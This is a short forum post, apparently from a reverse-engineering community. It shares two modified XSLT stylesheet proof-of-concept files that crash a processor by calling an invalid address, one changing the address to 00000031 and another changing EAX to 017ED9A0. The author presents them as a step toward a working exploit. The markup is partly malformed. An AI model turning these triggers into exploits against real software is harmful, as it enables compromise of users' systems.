http://www.at4re.com/f/showthread.php?p=47560
i tray to manipulate the POC for new idea,you now that the call is calling invalid address [00000000]
so i can change it to [00000031] ,i konw it's usless but it can make diffrent when some smart can exploit it by changing some things in the exploit.
and the second code change the EAX to 017ED9A0.
xslt.xsl code EAX=00000031:
<?xml version="1.0" encoding="UTF-8"?>

http://www.w3.org/1999/XSL/Transform">

<xsl:key name="label" match="item1" use=""/>

<xsl:template match="root">
<xsl:for-each select="key('label', @item1)">
</xsl:for-each>
</xsl:template>

</xsl:stylesheet>
xslt.xsl code EAX=017ED9A0:
<?xml version="1.0" encoding="UTF-8"?>

<xsl:key name="label" match="item1" use=""/>

<xsl:template match="root">
<xsl:value-of select="key('label', @item1)">
</xsl:value-of>
